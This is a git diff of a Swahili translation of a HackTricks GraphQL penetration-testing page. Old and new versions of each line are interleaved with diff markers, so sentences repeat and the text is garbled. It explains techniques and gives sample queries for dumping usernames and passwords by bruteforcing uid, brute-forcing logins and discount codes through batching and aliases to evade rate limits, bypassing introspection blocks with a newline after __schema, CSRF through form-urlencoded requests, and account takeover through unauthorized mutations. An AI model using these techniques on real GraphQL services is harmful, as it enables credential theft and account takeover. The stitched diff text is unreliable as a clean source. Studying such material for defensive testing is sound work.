Kwa hivyo, kwa kufanya _**uid**_ bruteforce kidogo niligundua kwamba katika _**uid**=**1**_ jina la mtumiaji na nywila ilipatikana:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
![](<../../.gitbook/assets/image (211).png>)
|
||||
|
||||
Tafadhali kumbuka kuwa **niligundua** kuwa niliweza kuuliza **parameta** "_**user**_" na "_**password**_" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
|
||||
Tambua kwamba **niligundua** kwamba naweza kuuliza **vipimo** "_**user**_" na "_**password**_" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
|
||||
|
||||
![](<../../.gitbook/assets/image (213).png>)
|
||||
|
||||
Na wakati wa **hatua ya uchunguzi** niligundua kuwa kitu cha "_**dbuser**_" kilikuwa na vitu "_**user**_" na "_**password**_.
|
||||
Na wakati wa **hatua ya uchambuzi** niligundua kwamba kitu cha "_**dbuser**_" kilikuwa na vitu "_**user**_" na "_**password**_.
|
||||
|
||||
**Mbinu ya kudumpishwa kwa herufi za utafutaji (shukrani kwa @BinaryShadow\_)**
|
||||
**Mbinu ya kudumpisha hoja ya herufi (shukrani kwa @BinaryShadow\_)**
|
||||
|
||||
Ikiwa unaweza kutafuta kwa kutumia aina ya herufi, kama: `query={theusers(description: ""){username,password}}` na **unatafuta herufi tupu** itadumpisha data yote. (_Tafadhali kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu fikiria unaweza kutafuta kwa kutumia "**theusers**" kwa kutumia uga wa aina ya String unaoitwa "**description**"_).
|
||||
Ikiwa unaweza kutafuta kwa aina ya herufi, kama: `query={theusers(description: ""){username,password}}` na **utafute herufi tupu** itadumpisha data yote. (_Tafadhali elewa mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu fikiria unaweza kutafuta kwa kutumia "**theusers**" kwa uga wa String unaoitwa "**description**"_).
|
||||
|
||||
### Utafutaji
|
||||
### Kutafuta
|
||||
|
||||
Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambuliwa na **barua pepe** na **jina**; **filamu** kwa jina lao na **kiwango**. **Watu** wanaweza kuwa marafiki na wao wenyewe na pia kuwa na filamu, ikionyesha uhusiano ndani ya database.
|
||||
Katika hali hii, **database** ina **watuhumiwa** na **filamu**. **Watuhumiwa** wanatambuliwa kwa **barua pepe** na **jina** lao; **filamu** kwa **jina** lao na **kiwango**. **Watuhumiwa** wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha mahusiano ndani ya database.
|
||||
|
||||
Unaweza **kutafuta** watu **kwa** jina **na** kupata barua pepe zao:
|
||||
Unaweza **kutafuta** watuhumiwa **kwa** jina **na** kupata barua zao pepe:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -250,7 +248,7 @@ email
|
|||
}
|
||||
}
|
||||
```
|
||||
Unaweza **kutafuta** watu **kwa** **jina** na kupata **filamu** wanazozipenda:
|
||||
Unaweza **kutafuta** watu **kwa** jina na kupata **filamu** waliyo **jisajili** nayo:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -265,9 +263,9 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
Tazama jinsi ilivyoelezwa kupata `jina` la `subscribedMovies` ya mtu.
|
||||
Tafadhali angalia jinsi ilivyoelezwa kuchukua `jina` la `subscribedMovies` ya mtu.
|
||||
|
||||
Pia unaweza **kutafuta vitu kadhaa kwa wakati mmoja**. Katika kesi hii, utafutaji wa sinema 2 unafanywa:
|
||||
Unaweza pia **kutafuta vitu kadhaa kwa wakati mmoja**. Katika kesi hii, utafutaji wa sinema 2 unafanywa:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
|
@ -275,7 +273,7 @@ name
|
|||
}
|
||||
}r
|
||||
```
|
||||
Au hata **mahusiano ya vitu tofauti tofauti kwa kutumia majina mbadala**:
|
||||
Au hata **mahusiano ya vitu tofauti kutumia majina mbadala**:
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
|
@ -300,15 +298,15 @@ name
|
|||
```
|
||||
### Mabadiliko
|
||||
|
||||
**Mabadiliko hutumika kufanya mabadiliko upande wa seva.**
|
||||
**Mabadiliko hutumika kufanya mabadiliko upande wa server.**
|
||||
|
||||
Katika **introspection** unaweza kupata **mabadiliko yaliyotangazwa**. Katika picha ifuatayo, "_MutationType_" inaitwa "_Mutation_" na kifaa cha "_Mutation_" kina majina ya mabadiliko (kama vile "_addPerson_" katika kesi hii):
|
||||
Katika **uchunguzi** unaweza kupata **mabadiliko yaliyotangazwa**. Katika picha ifuatayo "_MutationType_" inaitwa "_Mutation_" na kitu cha "_Mutation_" kina majina ya mabadiliko (kama vile "_addPerson_" katika kesi hii):
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
|
||||
|
||||
Katika mpangilio huu, **database** ina **watu** na **filamu**. **Watu** wanatambuliwa na **barua pepe** na **jina**; **Filamu** zinatambuliwa na **jina** na **kiwango**. **Watu** wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha uhusiano ndani ya database.
|
||||
Katika hali hii, **database** ina **watendaji** na **filamu**. **Watendaji** wanatambuliwa na **barua pepe** na **jina**; **filamu** kwa **jina** na **kiwango** chake. **Watendaji** wanaweza kuwa marafiki na pia kuwa na filamu, ikionyesha mahusiano ndani ya database.
|
||||
|
||||
Mabadiliko ya kuunda **filamu mpya** ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko yanaitwa `addMovie`):
|
||||
Mabadiliko ya **kuunda filamu mpya** ndani ya database yanaweza kuwa kama ifuatavyo (katika mfano huu mabadiliko inaitwa `addMovie`):
|
||||
```javascript
|
||||
mutation {
|
||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||
|
@ -319,9 +317,9 @@ rating
|
|||
}
|
||||
}
|
||||
```
|
||||
**Tafadhali kumbuka jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.**
|
||||
**Tafadhali angalia jinsi thamani na aina ya data zinavyoonyeshwa katika ombi.**
|
||||
|
||||
Kwa kuongezea, hifadhidata inasaidia operesheni ya **mutation**, iliyoitwa `addPerson`, ambayo inaruhusu uundaji wa **watoto** pamoja na uhusiano wao na **marafiki** na **filamu** zilizopo. Ni muhimu kuzingatia kuwa marafiki na filamu lazima wawe tayari katika hifadhidata kabla ya kuwahusisha na mtu aliyeumbwa hivi karibuni.
|
||||
Kwa kuongezea, database inaunga mkono operesheni ya **mutation**, inayoitwa `addPerson`, ambayo inaruhusu uundaji wa **watu** pamoja na uhusiano wao na **marafiki** na **filamu** zilizopo. Ni muhimu kuzingatia kuwa marafiki na filamu lazima ziwepo kabla ya kuwaunganisha na mtu aliyeumbwa hivi karibuni.
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
|
@ -349,32 +347,36 @@ releaseYear
|
|||
}
|
||||
}
|
||||
```
|
||||
### Kuchanganya nguvu ya nguvu katika ombi 1 la API
|
||||
### Kuzidisha Mwongozo
|
||||
|
||||
Taarifa hii ilichukuliwa kutoka [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Uthibitishaji kupitia GraphQL API na **kupeleka wakati mmoja maswali mengi na vitambulisho tofauti** ili kuvithibitisha. Hii ni shambulio la nguvu ya kawaida, lakini sasa inawezekana kutuma zaidi ya jozi moja ya jina la mtumiaji/nywila kwa ombi moja la HTTP kutokana na kipengele cha kuchanganya cha GraphQL. Njia hii itawadanganya programu za ufuatiliaji wa kiwango cha nje kuamini kuwa kila kitu kiko sawa na hakuna boti ya kuvunja nguvu inayojaribu kuhadithi nywila.
|
||||
Kama ilivyoelezwa katika [**mojawapo ya mapungufu yaliyoelezwa katika ripoti hii**](https://www.landh.tech/blog/20240304-google-hack-50000/), kuzidisha mwongozo kunamaanisha kuita mwongozo hata mamilioni ya mara ili kufanya server utumie shughuli mpaka iwezekane kufanya DoS.
|
||||
|
||||
Hapa chini unaweza kupata mfano rahisi wa ombi la uthibitishaji wa programu, na **jozi 3 tofauti za barua pepe/nywila kwa wakati mmoja**. Kwa wazi, inawezekana kutuma maelfu kwa ombi moja kwa njia ile ile:
|
||||
### Kupanga nguvamalizi katika ombi 1 la API
|
||||
|
||||
Habari hii ilichukuliwa kutoka [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Uthibitisho kupitia GraphQL API na **kutuma maombi mengi kwa wakati mmoja na vitambulisho tofauti** kuchunguza hilo. Ni shambulio la nguvamalizi la kawaida, lakini sasa inawezekana kutuma zaidi ya jozi moja ya kuingia/nenosiri kwa ombi moja la HTTP kutokana na kipengele cha kupanga cha GraphQL. Mbinu hii itadanganya programu za ufuatiliaji wa viwango vya nje kufikiria kuwa kila kitu ni sawa na hakuna boti ya kufanya nguvamalizi inajaribu kudhanua nywila.
|
||||
|
||||
Hapa chini unaweza kupata onyesho rahisi la ombi la uthibitisho wa programu, na **jozi 3 tofauti za barua pepe/nenosiri kwa wakati mmoja**. Kwa wazi inawezekana kutuma maelfu katika ombi moja kwa njia ile ile:
|
||||
|
||||
![](<../../.gitbook/assets/image (182) (1).png>)
|
||||
|
||||
Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kuonyesha habari inayolingana katika sehemu ya _error_. **Mutation ya pili ilikuwa na data sahihi ya uthibitishaji** na majibu yana kikoa sahihi cha kikao cha uthibitishaji.
|
||||
Kama tunavyoona kutoka kwa picha ya majibu, maombi ya kwanza na ya tatu yalirudisha _null_ na kufunua habari inayohusiana katika sehemu ya _kosa_. **Mabadiliko ya pili yalikuwa na data sahihi ya uthibitisho** na majibu yalikuwa na kitufe sahihi cha kikao cha uthibitisho.
|
||||
|
||||
![](<../../.gitbook/assets/image (119) (1).png>)
|
||||
|
||||
## GraphQL Bila Uchunguzi
|
||||
|
||||
Zaidi na zaidi **vikoa vya graphql vinazima uchunguzi**. Walakini, makosa ambayo graphql inarusha wakati ombi lisilotarajiwa linapokelewa ni ya kutosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kuunda tena sehemu kubwa ya muundo.
|
||||
**Miisho ya graphql inazidi kulemaza uchunguzi**. Hata hivyo, makosa ambayo graphql hutoa wakati ombi lisilotarajiwa linapokelewa ni ya kutosha kwa zana kama [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) kujenga tena sehemu kubwa ya muundo.
|
||||
|
||||
Zaidi ya hayo, kifaa cha Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **kinachunguza maombi ya GraphQL API yanayopitia Burp** na **kujenga** muundo wa GraphQL **ndani** na kila swali jipya linapoonekana. Pia inaweza kuonyesha muundo kwa GraphiQL na Voyager. Kifaa hiki kinarudisha majibu bandia wakati kinapokea ombi la uchunguzi. Kama matokeo, GraphQuail inaonyesha maswali yote, hoja, na uga uliopo kwa matumizi ndani ya API. Kwa habari zaidi [**angalia hii**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Zaidi ya hayo, ugani wa Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **unaangalia maombi ya GraphQL API yanayopitia Burp** na **kujenga** muundo wa GraphQL **wa ndani** kila ombi jipya linapoonekana. Pia inaweza kufunua muundo kwa GraphiQL na Voyager. Ugani hurejesha majibu bandia anapopokea ombi la uchunguzi. Kama matokeo, GraphQuail huonyesha maombi yote, hoja, na sehemu zinazopatikana kwa matumizi ndani ya API. Kwa habari zaidi [**angalia hapa**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Orodha nzuri ya maneno [**GraphQL inayoweza kugunduliwa inaweza kupatikana hapa**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
**Orodha nzuri ya maneno** ya kugundua [**entiti za GraphQL inaweza kupatikana hapa**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Kuvuka Ulinzi wa Uchunguzi wa GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
### Kupita Ulinzi wa Uchunguzi wa GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
### **Kuvuka Ulinzi wa Uchunguzi wa GraphQL**
|
||||
### **Kupita Ulinzi wa Uchunguzi wa GraphQL**
|
||||
|
||||
Ili kuvuka vizuizi kwenye maswali ya uchunguzi katika API, kuweka **herufi maalum baada ya neno la msingi `__schema`** inathibitisha ufanisi. Njia hii inatumia makosa ya kawaida ya watengenezaji katika mifumo ya regex ambayo inalenga kuzuia uchunguzi kwa kuzingatia neno la msingi la `__schema`. Kwa kuongeza herufi kama **nafasi, mistari mipya, na comma**, ambayo GraphQL inapuuza lakini inaweza kutokuwa imehesabiwa katika regex, vizuizi vinaweza kuzungukwa. Kwa mfano, swali la uchunguzi na mstari mpya baada ya `__schema` linaweza kuvuka ulinzi kama huo:
|
||||
Ili kupita vizuizi kwenye ombi za uchunguzi katika APIs, kuingiza **herufi maalum baada ya neno la msingi la `__schema`** huthibitisha ufanisi. Mbinu hii inatumia makosa ya kawaida ya watengenezaji katika mifumo ya regex ambayo inalenga kuzuia uchunguzi kwa kuzingatia neno la msingi la `__schema`. Kwa kuongeza herufi kama **nafasi, mistari mipya, na virgaa**, ambavyo GraphQL inapuuza lakini huenda havijazingatiwa katika regex, vizuizi vinaweza kuzungukwa. Kwa mfano, ombi la uchunguzi lenye mstari mpya baada ya `__schema` linaweza kupita ulinzi kama huo:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
|
@ -382,11 +384,11 @@ Ili kuvuka vizuizi kwenye maswali ya uchunguzi katika API, kuweka **herufi maalu
|
|||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
Ikiwa haifanikiwi, fikiria njia mbadala za ombi, kama vile ombi la **GET** au **POST na `x-www-form-urlencoded`**, kwani vizuizi vinaweza kuomba tu kwa ombi la POST.
|
||||
Ikiwa haujafanikiwa, tafakari njia mbadala za ombi, kama vile **ombi la GET** au **POST na `x-www-form-urlencoded`**, kwani vizuizi vinaweza kuomba tu kwa ombi la POST.
|
||||
|
||||
### **Kugundua Miundo ya GraphQL Iliyofichuliwa**
|
||||
### **Kugundua Miundo ya GraphQL Iliyofunuliwa**
|
||||
|
||||
Wakati uchunguzi umefungwa, kuchunguza nambari ya chanzo ya wavuti kwa ajili ya maswali yaliyopakuliwa mapema katika maktaba za JavaScript ni mkakati wenye manufaa. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Vyanzo` katika zana za watengenezaji, kutoa ufahamu juu ya muundo wa API na kufunua maswali yanayoweza kuwa **yanayofichua habari nyeti**. Amri za kutafuta ndani ya zana za watengenezaji ni:
|
||||
Wakati uchunguzi umefungwa, kutazama msimbo wa chanzo wa wavuti kwa ajili ya maswali yaliyopakiwa mapema katika maktaba za JavaScript ni mkakati wenye manufaa. Maswali haya yanaweza kupatikana kwa kutumia kichupo cha `Vyanzo` katika zana za maendeleo, kutoa ufahamu wa muundo wa API na kufunua labda **maswali nyeti yaliyofunuliwa**. Amri za kutafuta ndani ya zana za maendeleo ni:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
|
@ -394,39 +396,39 @@ file:* query
|
|||
```
|
||||
## CSRF katika GraphQL
|
||||
|
||||
Ikiwa haujui CSRF ni nini, soma ukurasa ufuatao:
|
||||
Ikiwa haujui ni nini CSRF soma ukurasa ufuatao:
|
||||
|
||||
{% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %}
|
||||
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Huko nje utaweza kupata vituo vingi vya GraphQL **vilivyowekwa bila alama za CSRF.**
|
||||
Kule nje utaweza kupata sehemu kadhaa za GraphQL **zilizoconfigure bila vitambulisho vya CSRF.**
|
||||
|
||||
Tafadhali kumbuka kuwa ombi za GraphQL kawaida hutumwa kupitia ombi za POST kwa kutumia Content-Type **`application/json`**.
|
||||
Tambua kuwa ombi za GraphQL kawaida hutumwa kupitia maombi ya POST yakitumia Content-Type **`application/json`**.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
Hata hivyo, sehemu kubwa ya vituo vya GraphQL pia hutoa msaada wa maombi ya POST ya **`form-urlencoded`:**
|
||||
Hata hivyo, sehemu kubwa ya GraphQL pia inasaidia **ombi za POST za `form-urlencoded`:**
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Kwa hivyo, kama maombi ya CSRF kama yale ya awali yanatumwa **bila maombi ya awali**, ni rahisi kufanya **mabadiliko** katika GraphQL kwa kutumia CSRF.
|
||||
Kwa hivyo, kwa kuwa maombi ya CSRF kama yale ya awali yanatumwa **bila maombi ya awali**, inawezekana **kufanya** **mabadiliko** katika GraphQL kwa kutumia CSRF.
|
||||
|
||||
Hata hivyo, kumbuka kuwa thamani mpya ya chaguo la `samesite` ya kidakuzi cha Chrome ni `Lax`. Hii inamaanisha kuwa kidakuzi kitatumwa tu kutoka kwa wavuti ya mtu wa tatu katika maombi ya GET.
|
||||
Walakini, kumbuka kuwa thamani mpya ya kuki ya msingi ya bendera ya `samesite` ya Chrome ni `Lax`. Hii inamaanisha kuwa kuki itatumwa tu kutoka kwa wavuti ya mtu wa tatu katika maombi ya GET.
|
||||
|
||||
Kumbuka pia kuwa kwa kawaida ni rahisi kutuma ombi la **kuuliza** pia kama ombi la **GET** na ishara ya CSRF huenda isithibitishwe katika ombi la GET.
|
||||
Tambua kuwa mara nyingi inawezekana kutuma **ombi** **la** **kuuliza** pia kama **ombi la GET na kitambulisho cha CSRF huenda kisithibitishwe katika ombi la GET.**
|
||||
|
||||
Pia, kwa kutumia [**mshambulizi wa XS-Search**](../../pentesting-web/xs-search.md), inawezekana kuvuja maudhui kutoka kwa hatua ya mwisho ya GraphQL kwa kutumia vibali vya mtumiaji.
|
||||
Pia, kwa kutumia [**XS-Search**](../../pentesting-web/xs-search.md) **shambulio** inaweza kuwa inawezekana kuvuja maudhui kutoka kwa hatima ya GraphQL kwa kutumia vibali vya mtumiaji.
|
||||
|
||||
Kwa habari zaidi, **angalia** [**chapisho la asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
Kwa habari zaidi **angalia** [**chapisho la asili hapa**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
## Uthibitishaji katika GraphQL
|
||||
|
||||
Kazi nyingi za GraphQL zilizoelezwa kwenye hatua ya mwisho huenda zinathibitisha tu uthibitisho wa ombaji lakini sio idhini.
|
||||
Funguo nyingi za GraphQL zilizoelezwa kwenye hatima zinaweza kuangalia uthibitishaji wa mwenyeombi lakini sio idhini.
|
||||
|
||||
Kubadilisha pembejeo za ombi kunaweza kusababisha kuvuja kwa maelezo nyeti ya akaunti [yaliyovuja](https://hackerone.com/reports/792927).
|
||||
Kubadilisha pembejeo za maswali kunaweza kusababisha maelezo muhimu ya akaunti kuvuja [leaked](https://hackerone.com/reports/792927).
|
||||
|
||||
Hata mabadiliko yanaweza kusababisha kuchukuliwa kwa akaunti kwa kujaribu kubadilisha data ya akaunti nyingine.
|
||||
Mabadiliko yanaweza hata kusababisha kuchukuliwa kwa akaunti kujaribu kubadilisha data ya akaunti nyingine.
|
||||
```javascript
|
||||
{
|
||||
"operationName":"updateProfile",
|
||||
|
@ -434,23 +436,23 @@ Hata mabadiliko yanaweza kusababisha kuchukuliwa kwa akaunti kwa kujaribu kubadi
|
|||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||||
}
|
||||
```
|
||||
### Kupita kwenye uthibitisho katika GraphQL
|
||||
### Kupuuza idhini katika GraphQL
|
||||
|
||||
[Kuunganisha maswali](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja kunaweza kusaidia kuepuka mfumo dhaifu wa uthibitisho.
|
||||
[Kuunganisha maswali](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pamoja kunaweza kupuuza mfumo dhaifu wa uthibitishaji.
|
||||
|
||||
Katika mfano ulio hapo chini unaweza kuona kuwa uendeshaji ni "forgotPassword" na kwamba inapaswa kutekeleza tu swali la forgotPassword lililohusishwa nayo. Hii inaweza kuepukwa kwa kuongeza swali mwishoni, katika kesi hii tunaweka "register" na kigezo cha mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.
|
||||
Katika mfano hapa chini unaweza kuona kuwa operesheni ni "forgotPassword" na inapaswa kutekeleza tu swali la forgotPassword linalohusiana nayo. Hii inaweza kupuuzwa kwa kuongeza swali mwishoni, katika kesi hii tunaweza kuongeza "register" na kipengele cha mtumiaji ili mfumo ujiandikishe kama mtumiaji mpya.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Kupita kwenye Kikomo cha Kiwango kwa Kutumia Majina Badala katika GraphQL
|
||||
## Kupuuza Vizuizi vya Kiwango kwa Kutumia Majina Mbadala katika GraphQL
|
||||
|
||||
Katika GraphQL, majina badala ni kipengele chenye nguvu kinachoruhusu **kuweka majina ya mali kwa uwazi** wakati wa kutuma ombi la API. Uwezo huu ni muhimu hasa kwa kupata **mifano mingi ya aina ile ile** ya kitu katika ombi moja. Majina badala yanaweza kutumika kushinda kizuizi kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina sawa.
|
||||
Katika GraphQL, majina mbadala ni kipengele chenye nguvu kinachoruhusu **kuweka majina ya mali waziwazi** wakati wa kutuma ombi la API. Uwezo huu ni muhimu hasa kwa kupata **mifano mingi ya aina ile ile** ya kitu ndani ya ombi moja. Majina mbadala yanaweza kutumika kushinda kizuizi kinachozuia vitu vya GraphQL kuwa na mali nyingi zenye jina moja.
|
||||
|
||||
Ili kuelewa kwa undani majina badala ya GraphQL, rasilimali ifuatayo inapendekezwa: [Majina Badala](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
Kwa uelewa wa kina wa majina mbadala ya GraphQL, rasilimali ifuatayo inapendekezwa: [Majina Mbada](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Ingawa kusudi kuu la majina badala ni kupunguza hitaji la wito nyingi za API, matumizi yasiyotarajiwa yamegunduliwa ambapo majina badala yanaweza kutumika kutekeleza mashambulizi ya nguvu kwenye kipengele cha GraphQL. Hii inawezekana kwa sababu baadhi ya vipengele vinalindwa na vizuizi vya kiwango cha kuzuia mashambulizi ya nguvu kwa kuzuia **idadi ya maombi ya HTTP**. Walakini, vizuizi hivi vya kiwango cha kuzuia huenda havizingatii idadi ya uendeshaji ndani ya kila ombi. Kwa kuwa majina badala huruhusu kuongeza maswali mengi katika ombi moja la HTTP, yanaweza kuepuka hatua za kikomo cha kiwango kama hizo.
|
||||
Ingawa lengo kuu la majina mbadala ni kupunguza haja ya wito nyingi za API, matumizi yasiyotarajiwa yamegunduliwa ambapo majina mbadala yanaweza kutumika kutekeleza mashambulizi ya nguvu ya kutumia nguvu kwenye mwisho wa GraphQL. Hii inawezekana kwa sababu baadhi ya mwisho zinalindwa na wapimaji wa kiwango ambao wameundwa kuzuia mashambulizi ya nguvu kwa kuzuia **idadi ya maombi ya HTTP**. Hata hivyo, wapimaji hawa wa kiwango huenda wasizingatie idadi ya operesheni ndani ya kila ombi. Kwa kuwa majina mbadala huruhusu kuongeza maswali mengi katika ombi moja la HTTP, yanaweza kuzunguka hatua hizo za kikomo cha kiwango.
|
||||
|
||||
Fikiria mfano uliotolewa hapa chini, ambao unaonyesha jinsi maswali yaliyopewa majina badala yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo za duka. Njia hii inaweza kuepuka kikomo cha kiwango kwa kuunganisha maswali kadhaa katika ombi moja la HTTP, na hivyo kuruhusu uthibitisho wa nambari za punguzo nyingi kwa wakati mmoja.
|
||||
Fikiria mfano uliotolewa hapa chini, ambao unaelezea jinsi maswali yaliyopewa majina mbadala yanaweza kutumika kuthibitisha uhalali wa nambari za punguzo la duka. Mbinu hii inaweza kupuuza vizuizi vya kiwango kwani inakusanya maswali kadhaa katika ombi moja la HTTP, ikiruhusu kuthibitisha nambari nyingi za punguzo kwa wakati mmoja.
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
|
@ -469,18 +471,18 @@ valid
|
|||
|
||||
### Skana za Udhaifu
|
||||
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zana ambayo inaweza kutumika kukamata muundo na kutafuta data nyeti, kujaribu idhini, kuvunja nguvu muundo, na kupata njia kwa aina iliyoombwa.
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zana inayoweza kutumika kukamata mizungu na kutafuta data nyeti, kujaribu idhini, kuvunja mizungu, na kupata njia kwa aina iliyotolewa.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Inaweza kutumika kama standalone au [Burp extension](https://github.com/doyensec/inql).
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kwa kutekeleza mashambulizi kiotomatiki.
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Zana ambayo inaorodhesha njia tofauti za kufikia aina iliyoombwa katika muundo wa GraphQL.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya kupima GraphQL kwa kiwango cha juu. Sehemu ya _**Scanner**_ ndiyo msingi wa InQL v5.0, ambapo unaweza kuchambua kipengele cha GraphQL au faili ya muundo wa kujitambulisha ya ndani. Inazalisha moja kwa moja maswali yote na mabadiliko yanayowezekana, na kuyapanga katika muonekano ulio na muundo kwa ajili ya uchambuzi wako. Sehemu ya _**Attacker**_ inakuwezesha kutekeleza mashambulizi ya GraphQL kwa wingi, ambayo inaweza kuwa na manufaa kwa kuzunguka vizuizi vya kiwango cha chini vilivyotekelezwa vibaya.
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Inaweza kutumika kama mteja wa CLI pia kwa kiotomatiki mashambulizi
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Zana inayoorodhesha njia tofauti za kufikia aina iliyotolewa katika mizungu.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension kwa ajili ya majaribio ya juu ya GraphQL. _**Scanner**_ ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya mizungu ya kujitambulisha ya ndani. Inazalisha moja kwa moja maswali yote na mabadiliko yanayowezekana, ikiiweka katika muonekano wa kimuundo kwa ajili ya uchambuzi wako. Sehemu ya _**Mshambuliaji**_ inakuwezesha kufanya mashambulizi ya mizungu ya kundi, ambayo inaweza kuwa na manufaa kwa kuzunguka mipaka ya kiwango iliyotekelezwa vibaya.
|
||||
|
||||
### Wateja
|
||||
|
||||
* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Mteja wa GUI
|
||||
* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Mteja wa GUI
|
||||
|
||||
### Vipimo vya Kiotomatiki
|
||||
### Majaribio ya Kiotomatiki
|
||||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
|
||||
|
@ -502,10 +504,10 @@ valid
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha** [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
